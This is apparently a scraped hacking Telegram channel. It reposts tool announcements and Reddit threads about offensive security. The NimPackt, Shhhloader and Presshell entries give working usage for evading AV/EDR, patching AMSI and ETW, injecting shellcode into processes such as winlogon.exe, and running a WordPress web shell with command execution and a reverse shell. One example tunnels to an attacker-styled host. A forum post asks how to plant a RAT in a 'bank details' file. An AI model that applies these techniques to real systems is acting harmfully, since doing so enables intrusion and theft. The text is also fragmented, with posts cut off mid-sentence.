Kali Linux Tutorials
NimPackt-v1 : Nim-based Assembly Packer And Shellcode Loader For Opsec And Profit

NimPackt-v1 is among the worst code I have ever written (I was just starting out learning Nim). Because of this, I started on a full rewrite of NimPackt, dubbed ‘NimPackt-NG’ (currently still private). With this re-write, I decided to open-source the old branch (“NimPackt-v1”). As such, this branch is no longer maintained and comes without any form of warranty or support. PRs are always welcome, of course https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png

NimPackt is a Nim-based packer for .NET (C#) executables and shellcode targeting Windows. It automatically wraps the payload in a Nim binary that is compiled to Native C and as such harder to detect and reverse engineer. There are two main execution methods:

* Execute-Assemblyre-packs a .NET executable and runs it, optionally applying evasive measures such as API unhooking, AMSI patching, or disabling ETW.
* Shinjecttakes raw a .bin file with raw, position-independent shellcode and executes it locally or in a remote process, optionally using direct syscalls to trigger the shellcode or patching API hooks to evade EDR.

Currently, NimPackt has the following features.

* Uses static syscalls to patch execute to evade EDR
* Unhooks user-mode APIs for spawned thread by refreshing NTDLL.dllusing ShellyCoat
* Patches Event Tracing for Windows (ETW)
* Patches the Anti-Malware Scan Interface (AMSI)
* AES-encrypts payload with random key to prevent static analysis or fingerprinting
* Compiles to exeor dll* Supports cross-platform compilation (from both Linux and Windows)
* Integrates with CobaltStrike for ezpz payload generation https://s.w.org/images/core/emoji/14.0.0/72x72/1f60e.png

A great source for C#-based binaries for offensive tooling can be found here. It is highly recommended to compile the C# binaries yourself. Even though embedded binaries are encrypted, you should obfuscate sensitive binaries (such as Mimikatz) to lower the risk of detection. InstallationIf you are having issues compiling the binary with Syscalls, try downgrading your GCC to version 8.1.0 (especially on Windows). ALWAYS test generated payloads!

On Linux, simply install the required packages and use the Nimble package installer to install the required packages and Python libraries.

sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto

On Windows, execute the Nim installer from here. Make sure to install mingwand set the path values correctly using the provided finish.exeutility. If you don’t have Python3 install that, then install the required packages as follows.

nimble install winim nimcrypto
pip3 install pycryptodome argparse DockerThe Docker image chvancooten/nimbuild can be used to compile NimPackt-v1 binaries. Using Docker is easy and avoids dependency issues, as all required dependencies are pre-installed in this container.

To use it, install Docker for your OS and ensure the input shellcode is in the current folder. Then, start the compilation in a container as follows.

docker run –rm -v pwd:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin CobaltStrike PluginTo install the CobaltStrike plugin, select Cobalt Strike–> Script Managerfrom the menu bar, and select Load. Make sure to load the .cnafile from it’s original location, otherwise it won’t be able to find the NimPackt script files! Usageusage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]
required arguments:
-e EXECUTIONMODE, –executionmode EXECUTIONMODE
Execution mode of t[...]

___________________________
@hacking_Attack
@Hacking_Video

he packer. Supports “execute-assembly” or “shinject”
-i INPUTFILE, –inputfile INPUTFILE
C# .NET binary executable (.exe) or shellcode (.bin) to wrap
execute-assembly arguments:
-a ARGUMENTS, –arguments ARGUMENTS
Arguments to “bake into” the wrapped binary, or “PASSTHRU” to accept run-
time arguments (default)
-na, –nopatchamsi Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
-ne, –nodisableetw Do NOT disable Event Tracing for Windows (ETW)
shinject arguments:
-r, –remote Inject shellcode into remote process (default false)
-t INJECTTARGET, –target INJECTTARGET
Remote thread targeted for remote process injection
-E, –existing Remote inject into existing process rather than a newly spawned one (default
false, implies -r) (WARNING: VOLATILE)
other arguments:
-o OUTPUTFILE, –outfile OUTPUTFILE
Filename of the output file (e.g. “LegitBinary”). Specify WITHOUT extension
or path. This property will be stored in the output binary as the original
filename
-nu, –nounhook Do NOT unhook user-mode API hooks in the target process by loading a fresh
NTDLL.dll
-ns, –nosyscalls Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
APIs to evade EDR
-f FILETYPE, –filetype FILETYPE
Filetype to compile (“exe” or “dll”, default: “exe”)
-s, –sleep Sleep for approx. 30 seconds by calculating primes
-32, –32bit Compile in 32-bit mode (untested)
-S, –showConsole Show a console window with the app’s output when running
-d, –debug Enable debug mode (retains .nim source file in output folder)
-v, –verbose Print debug messages of the wrapped binary at runtime
-V, –version show program’s version number and exit

Examples

Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v
Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a “-group=all -outputfile=c:\users\public\downloads\sb.txt”
Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a ‘client –keepalive 25s –max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks’
Pack raw shellcode to DLL file that executes in the local thread through direct syscalls, unhooking NTDLL as well
Shellcode generated with ‘msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin’
python3 NimPackt.py -i calc.bin -e shinject -f dll
Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window
python3 NimPackt.py -i calc.bin -e shinject -t “calc.exe”
Pack raw shellcode to execute in the existing Winlogon process (first PID with name ‘winlogon.exe’), do not use direct syscalls or unhook NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t “winlogon.exe” -nu -ns

Binaries are stored in the outputsubfolder of your installation directory. Generated dllfiles can be executed as follows (entry point can be changed in the Nim template):

rundll32 exampleShinjectNimPackt.dll,IconSrv Download
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Presshell : Quick And Dirty WordPress Command Execution Shell

Presshell is a tool for Quick & dirty WordPress Command Execution Shell. Execute shell commands on your wordpress server. Uploaded shell will probably be at

Installation

To install the shell, we are assuming you have administrative rights to WordPress and can install plugins since transferring a PHP file to the media library shouldn’t work anyway. Otherwise, you have a bigger problem.

Simply upload the zip file located in the Releases section as a new extension and you’re good to go.

Usage

Using the shell is straightforward. Simply pass shcommands as an argument to the shell :

❯ curl ‘http://host/…/shell.php?cmd=uname+-a’
Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux

You may as well pass these arguments in a POST request, which is the recommended way to keep your commands out of logs.

❯ curl ‘http://host/…/shell.php’ –data-urlencode ‘cmd=ls’
LICENSE
README.md
shell.php

More complex commands are also supported, careful about your quoting though

❯ curl ‘http://host/…/shell.php’ –data-urlencode ‘cmd=cat /etc/passwd | grep -v “(false|nologin)”‘
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync

❯ curl ‘http://host/…/shell.php’ –data-urlencode ‘cmd=python -c “from urllib.parse import urlencode; print(urlencode({\”cmd\”: \”uname -a\”}))”‘
cmd=uname+-a

You can also open a reverse shell using the ipand portparameters. The default port is 443.

❯ curl ‘http://host/…/shell.php’ –data-urlencode ‘ip=127.0.0.1’

❯ curl ‘http://host/…/shell.php’ –data-urlencode ‘ip=127.0.0.1’ –data-urlencode ‘port=1337’

There is also an option provided for convenience to upload a file to the directory of the plugin unconditionally and without checks.

❯ curl ‘http://host/…/shell.php’ -F ‘file=@some_file’
❯ curl ‘http://host/…/shell.php’ –data-urlencode ‘cmd=ls’
LICENSE
README.md
shell.php
some_file
Download
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Maat : Open-source Symbolic Execution Framework

Maat is an open-source Dynamic Symbolic Execution and Binary Analysis framework. It provides various functionalities such as symbolic execution, taint analysis, constraint solving, binary loading, environment simulation, and leverages Ghidra’s sleigh library for assembly lifting: https://maat.re

Key Features

* Fast & Portable: Designed to scale to real-world applications. Fully written in C++ for good runtime performance. There are hardly any runtime dependencies, and most of them are optional
* User-friendly: Maat has a flexible debugger-like API, and its features are configurable to adapt to many different use-cases. As any self-respecting modern framework, it comes with Python bindings
* Multi-arch: With lifting and emulation based on Ghidra’s awesome sleigh library, Maat has the potential to emulate many architectures, including exotic ones

Installation

To install Maat’s python module:

python3 -m pip install pymaat

To install Maat’s native SDK and use the C++ API, check out BUILDING.md

Example

from maat import *
Create a symbolic engine for Linux X86-32bits
engine = MaatEngine(ARCH.X86, OS.LINUX)
Load a binary with one command line argument
engine.load(“./some_binary”, BIN.ELF32, args=[engine.vars.new_symbolic_buffer(“some_arg”, 20)])
Get current eax value
engine.cpu.eax
Read 4 bytes at the top of the stack
engine.mem.read(engine.cpu.esp, 4)
Set a callback displaying every memory read
def show_mem_access(engine):
mem_access = engine.info.mem_access
print(f”Instruction at {engine.info.addr} reads {mem_access.size} bytes at {mem_access.addr}”)
engine.hooks.add(EVENT.MEM_R, WHEN.BEFORE, callbacks=[show_mem_access])
Take and restore snapshots
snap = engine.take_snapshot()
engine.restore_snapshot(snap)
Run the binary
engine.run()
Download
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Melody : A Transparent Internet Sensor Built For Threat Intelligence

Melody is a transparent internet sensor built for threat intelligence and supported by a detection rule framework which allows you to tag packets of interest for further analysis and threat monitoring. FeaturesHere are some key features of Melody :

* Transparent capture
* Write detection rules and tag specific packets to analyze them at scale
* Mock vulnerable websites using the builtin HTTP/S server
* Supports the main internet protocols over IPv4 and IPv6
* Handles log rotation for you : Melody is designed to run forever on the smallest VPS
* Minimal configuration required
* Standalone mode : configure Melody using only the CLI
* Easily scalable :
* Statically compiled binary
* Up-to-date Docker image WishlistSince I have to focus on other projects right now, I can’t put much time in Melody’s development.

There is a lot of rom for improvement though, so here are some features that I’d like to implement someday :

* Dedicated helper program to create, test and manage rules -> Check Meloctl in cmd/meloctl* Centralized rules management
* Per port mock application Use casesInternet facing sensor* Extract trends and patterns from Internet’s noise
* Index malicious activity, exploitation attempts and targeted scanners
* Monitor emerging threats exploitation
* Keep an eye on specific threats Stream analysis* Build a background noise profile to make targeted attacks stand out
* Replay captures to tag malicious packets in a suspicious stream QuickstartTL;DRReleaseGet the latest release at https://github.com/bonjourmalware/melody/releases.

make install # Set default outfacing interface
make cap # Set network capabilities to start Melody without elevated privileges
make certs # Make self signed certs for the HTTPS fileserver
make enable_all_rules # Enable the default rules
make service # Create a systemd service to restart the program automatically and launch it at startup
sudo systemctl stop melody # Stop the service while we’re configuring it

Update the filter.bpffile to filter out unwanted packets

sudo systemctl start melody # Start Melody
sudo systemctl status melody # Check that Melody is running

The logs should start to pile up in /opt/melody/logs/melody.ndjson.

tail -f /opt/melody/logs/melody.ndjson # | jq

From source

git clone https://github.com/bonjourmalware/melody /opt/melody
cd /opt/melody
make build

Then continue with the steps from the release TL;DR. Dockermake certs # Make self signed certs for the HTTPS fileserver
make enable_all_rules # Enable the default rules
mkdir -p /opt/melody/logs
cd /opt/melody/
docker pull bonjourmalware/melody:latest
MELODY_CLI=”” # Put your CLI options here. Example : export MELODY_CLI=”-s -i ‘lo’ -F ‘dst port 5555’ -o ‘server.http.port: 5555′”
docker run \
–net=host \
-e “MELODY_CLI=$MELODY_CLI” \
–mount type=bind,source=”$(pwd)/filter.bpf”,target=/app/filter.bpf,readonly \
–mount type=bind,source=”$(pwd)/config.yml”,target=/app/config.yml,readonly \
–mount type=bind,source=”$(pwd)/var”,target=/app/var,readonly \
–mount type=bind,source=”$(pwd)/rules”,target=/app/rules,readonly \
–mount type=bind,source=”$(pwd)/logs”,target=/app/logs/ \
bonjourmalware/melody RulesExampleCVE-2020-14882 Oracle Weblogic Server RCE:
layer: http
meta:
id: 3e1d86d8-fba6-4e15-8c74-941c3375fd3e
version: 1.0
author: BonjourMalware
status: stable
created: 2020/11/07
modified: 2020/20/07
description: “Checking or trying to exploit CVE-2020-14882”
references:
– “https://nvd.nist.gov/vuln/detail/CVE-2020-14882”
match:
http.uri:
startswith|any|nocase:
– “/console/css/”
– “/console/images”
contains|any|nocase:
– “console.portal”
– “consolejndi.portal?test_handle=”
tags:
cve: “cve-2020-14882”
vendor: “oracl[...]

___________________________
@hacking_Attack
@Hacking_Video

e”
product: “weblogic”
impact: “rce” LogsExampleNetcat TCP packet over IPv4 :

{
“tcp”: {
“window”: 512,
“seq”: 1906765553,
“ack”: 2514263732,
“data_offset”: 8,
“flags”: “PA”,
“urgent”: 0,
“payload”: {
“content”: “I made a discovery today. I found a computer.\n”,
“base64”: “SSBtYWRlIGEgZGlzY292ZXJ5IHRvZGF5LiAgSSBmb3VuZCBhIGNvbXB1dGVyLgo=”,
“truncated”: false
}
},
“ip”: {
“version”: 4,
“ihl”: 5,
“tos”: 0,
“length”: 99,
“id”: 39114,
“fragbits”: “DF”,
“frag_offset”: 0,
“ttl”: 64,
“protocol”: 6
},
“timestamp”: “2020-11-16T15:50:01.277828+01:00”,
“session”: “bup9368o4skolf20rt8g”,
“type”: “tcp”,
“src_ip”: “127.0.0.1”,
“dst_port”: 1234,
“matches”: {},
“inline_matches”: [],
“embedded”: {}
} Download
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
modifyCertTemplate : ADCS Cert Template Modification And ACL Enumeration

modifyCertTemplate tool is designed to aid an operator in modifying ADCS certificate templates so that a created vulnerable state can be leveraged for privilege escalation (and then reset the template to its previous state afterwards). This is specifically designed for a scenario where WritePropertyrights over a template have been compromised, but the operator is unsure which properties the right applies to. In this scenairo, the template’s ACL can be queried and the applicable ACE information can be cross-referenced with property GUIDs to determine the modifiable properties. Usageusage: modifyCertTemplate.py [-h] -template template name [-property property name] [-value new value] [-get-acl] [-dn distinguished name] [-raw] [-add flag name] [-debug]
[-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-ldaps]
target
Modify the attributes of an Active Directory certificate template
positional arguments:
target [[domain/]username[:password]
optional arguments:
-h, –help show this help message and exit
-template template name
Name of the target certificate template
-property property name
Name of the target template property
-value new value Value to set the specified template property to
-get-acl Print the certificate’s ACEs
-dn distinguished name
Explicitly set the distinguished name of the certificate template
-raw Output the raw certificate template attributes
-add flag name Add a flag to an attribute, maintaining the existing flags
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don’t ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will
use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ldaps Use LDAPS instead of LDAP ExamplesQuerying a Template or Property ValueQuery a certificate template (all attributes)

python3 modifyCertTemplate.py -template KerberosAuthentication ez.lab/administrator:pass

Query a single attribute from a certificate template

python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass

Query the raw values of all template attributes

python3 modifyCertTemplate.py -template KerberosAuthentication -raw ez.lab/administrator:pass Querying ACL InfoQuery the ACL for a certificate template

python3 modifyCertTemplate.py -template KerberosAuthentication -get-acl ez.lab/administrator:pass

Although unrelated to certificate templates, any object’s ACL can be queried by providing the object’s distinguished name

python3 modifyCertTemplate.py -dn “CN=ws1,CN=computers,DC=ez,DC=lab” -get-acl ez.lab/administrator:pass Modifying a TemplateAdd the ENROLLEE_SUPPLIES_SUBJECTflag to the template’s msPKI-Certificate-Name-Flagproperty

python3 modifyCertTemplate.py -template KerberosAuthentication -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass

Update the value of a certificate template attribute (non-list properties)

python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag -value -150994944 ez.lab/administrator:pass

Add an EKU to the pKIExtendedKeyUsageproperty

python3 modifyCertTemplate.py -template KerberosAuthentication -add “client authentication” -property pKIExtendedKeyUsage ez.lab/administrator:pass

Update the value of a list-formatted attribute (i.e. explicitly set the value of pKIExtendedKeyUsage)

python3 modifyCertTemplate.py -template KerberosAuthentication -value “‘1.3.6.1.5.5.7.3.4’, ‘1.3.6.1.5.5.7.3.2’” -property pKIExtendedKeyUsage ez.lab/administrator:pass Download
➖ Sent by @TheFeedReaderBot ➖

Kali Linux Tutorials
Shhhloader : SysWhispers Shellcode Loader

Shhhloader is a SysWhispers Shellcode Loader that is currently a Work in Progress. It takes raw shellcode as input and compiles a C++ stub that has been integrated with SysWhispers in order to bypass AV/EDR. The included python builder will work on any Linux system that has Mingw-w64 installed.

The tool has been confirmed to successfully load Meterpreter and a Cobalt Strike beacon on fully updated systems with Windows Defender enabled. The project itself is still in a PoC/WIP state, as it currently doesn’t work with all payloads.

2/9/22 EDIT: Shhhloader now includes 5 different ways to execute your shellcode! See below for updated usage. Big thanks to @Snovvcrash and their DInjector project for inspiration! I highly recommend taking a look at it for more information regarding the shellcode injection techniques and code that this tool is now based on.

┳┻|
┻┳|
┳┻|
┻┳|
┳┻| _
┻┳| •.•) – Shhhhh, AV might hear us!
┳┻|⊂ﾉ
┻┳|
usage: Shhhloader.py [-h] [-p explorer.exe] [-m QueueUserAPC] [-nr] [-v] [-d] [-o a.exe] file
ICYGUIDER’S CUSTOM SYSWHISPERS SHELLCODE LOADER
positional arguments:
file File containing raw shellcode
optional arguments:
-h, –help show this help message and exit
-p explorer.exe, –process explorer.exe
Process to inject into (Default: explorer.exe)
-m QueueUserAPC, –method QueueUserAPC
Method for shellcode execution (Options: ProcessHollow, QueueUserAPC,
RemoteThreadContext, RemoteThreadSuspended, CurrentThread) (Default: QueueUserAPC)
-nr, –no-randomize Disable syscall name randomization
-v, –verbose Enable debugging messages upon execution
-d, –dll-sandbox Use DLL based sandbox checks instead of the standard ones
-o a.exe, –outfile a.exe
Name of compiled file

Features

* 5 Different Shellcode Execution Methods (ProcessHollow, QueueUserAPC, RemoteThreadContext, RemoteThreadSuspended, CurrentThread)
* PPID Spoofing
* Block 3rd Party DLLs
* Syscall Name Randomization
* XOR Encryption with Dynamic Key Generation
* Sandbox Evasion via Loaded DLL Enumeration
* Sandbox Evasion via Checking Processors, Memory, and Time

Tested and Confirmed Working on:

* Windows 10 21H1 (10.0.19043)
* Windows 10 20H2 (10.0.19042)
* Windows Server 2019 (10.0.17763)
Download
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can a virus hidden as a picture or text document on a pc that you're connecting to remotely infect your machine

Can a virus hidden as a picture or text document on a pc that you're connecting to remotely infect your machine?

If so, can someone please explain how?

Picture this scenario for context: A remote user attempts to open a text document titled "bank details" and it infects their pc (the remote user) with a rat (remote administration tool) which the other user could then use to gain access later on without knowledge.

What is the best way to do this?

submitted by /u/Repulsive_Problem272
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Windows Subsystem For Linux Virus Steals Browser Auth Cookies

https://external-preview.redd.it/g1dtaOhvBUpH1oqaev0bAQLebIyIqYw-BfweUgtPlZI.jpg?width=640&crop=smart&auto=webp&s=2a0ab65eafe3fa44cae0c588c09ede3b77bb4d53 submitted by /u/Dip14099
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Anybody want some low profile hacking tech? (Hardware)

If you want some high quality, low profile hacking tech like packet sniffers, key loggers, or general hacking usb (like the rubber ducky on Mr. Robot) start a chat with me and I’ll give you a link to a website.
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Windows Exploitation Resources

https://github.com/FULLSHADE/WindowsExploitationResources

READ

submitted by /u/saqfi
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Domain Escalation: Unconstrained Delegation

IntroductionPost-Windows 2000, Microsoft introduced an option where users could authenticate to one system via Kerberos and work with another system. This was made possible via the delegation option. Unconstrained delegation is achieved via TGT forwarding technique which is what we’ll talk about in this article. Kerberos DelegationKerberos Delegation enables a service to impersonate a computer or user in order to engage with a second service using the user’s privileges and permissions.

The classic illustration of why delegating is necessary, for instance when a user authenticates to a web server using Kerberos or other protocols, and the server wishes to interact with a SQL backend or file server.

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT6dkXPLddG5IuKSagZR5txZ9p5bLDh32OrC3BxJJb_XiZCBEFRfPmvSA8dKfgAFqBzCztEpTUjjkJ3KH7MXd6MORZzXEqOBefk3gwqKjKioiB1vOA6dMsDEO5KgtRFo5IjLy24Ibus1hyhZXiBh5qaiJUhCOt7xlqhj4lhSHpfz7bq-NWB3OuFN1XGw/s16000/0.1.png

Type of Kerberos Delegation:

* Unconstrained delegation
* Constrained delegation
* RBCD (Resource-Based Constrained Delegation) Service Principal NameA unique name (identifier) of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. This allows a client application to request that the service authenticate an account even if the client does not have an account name. Unconstrained DelegationThe feature debuted initially in Windows Server 2000 but it is still there for backwards compatibility. Basically, if a user requests a service ticket for a service on a server set with unconstrained delegation, that server will extract the user’s TGT and cache it in its memory for later use. This means the server can pretend to be that user to any resource on the domain.

On a computer account, an admin can set the following property for unconstrained delegation.

* AD Users and Computers -> Computers -> Trust this computer for delegation to any service.

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXngS6FPbtTdwbHQ687LfOcd_uZABKNSedSHmsro5f3SgCVKyjgItHMwPAoP6HS-9E8_kycr7VmDrwh7FQ4ocyg-R5o46Lncuo3-cLi_J4URGZ5aklxjW8v6Zz2o5pRAI5SGptpRRD0wiqQe2cweaI1-fNhF9XUoKrjAZri2nnOdd9_sCwOT75_pvSWA/s16000/0.png

Key features of the unconstrained delegation are:

* Usually, the privilege is given to computers running services like IIS, and MSSQL because these computers usually require some back-end connectivity to other resources.
* When given Delegation rights, these computers ask for a user’s TGT and store them in their cached memory.
* With this TGT, they can access back-end resources on behalf of the authenticated user.
* Catch is that these systems can also request access to any resource on the domain using this TGT!
* https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqFAGuNirtaPHgWk_LvIt9f-qm8EJwKOdqfzL_wzG-Qr_5En7FzemiCuQBNGXfWxOJ1Zse_1A2zduOZLsMb2NJrDINCVtSPmGfosm0icublTCa4ZJmngjYJzIOcu5txGUQl8Eo62XbMGlBlobsRR9gRUO9Un3Ih1YQVOeJoBHva3GDI6Bf3JQhn02UMg/s16000/0.2.png

An attacker may Abuse Unconstrained Delegation by requesting TGS for any domain services (SPN) using user delegated TGT.

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiE4Wvh2cFkn0IbfCy2Gz9rPLB03qMnHJAW6q3pJ10ccC7Pu3TUvAT6JxiNfRCKMDcJUVJu_TDh2D2kHD00POOd28EGW9xaKPvxmm6SvKxyCqoWHQ7pIJvkKr0VnlRb8R6kkMB2Nsp93__hiCLnH-P-s1bRIVUEaTGsk4fJOQp5X0Ka3mEpHNTnt4qNA/s16000/0.3.png TGT extraction via Unconstrained DelegationIt is obvious that we need to run our attack on the machine that has delegation enabled. So we are assuming the attacker has compromised one such machine. Assumption 1: Attacker compromised DC1$ system running IIS on Kerberos authentication.

* Assumption 2: Attacker has access to a domain-joined system (Here, powershell window running on that s[...]

___________________________
@hacking_Attack
@Hacking_Video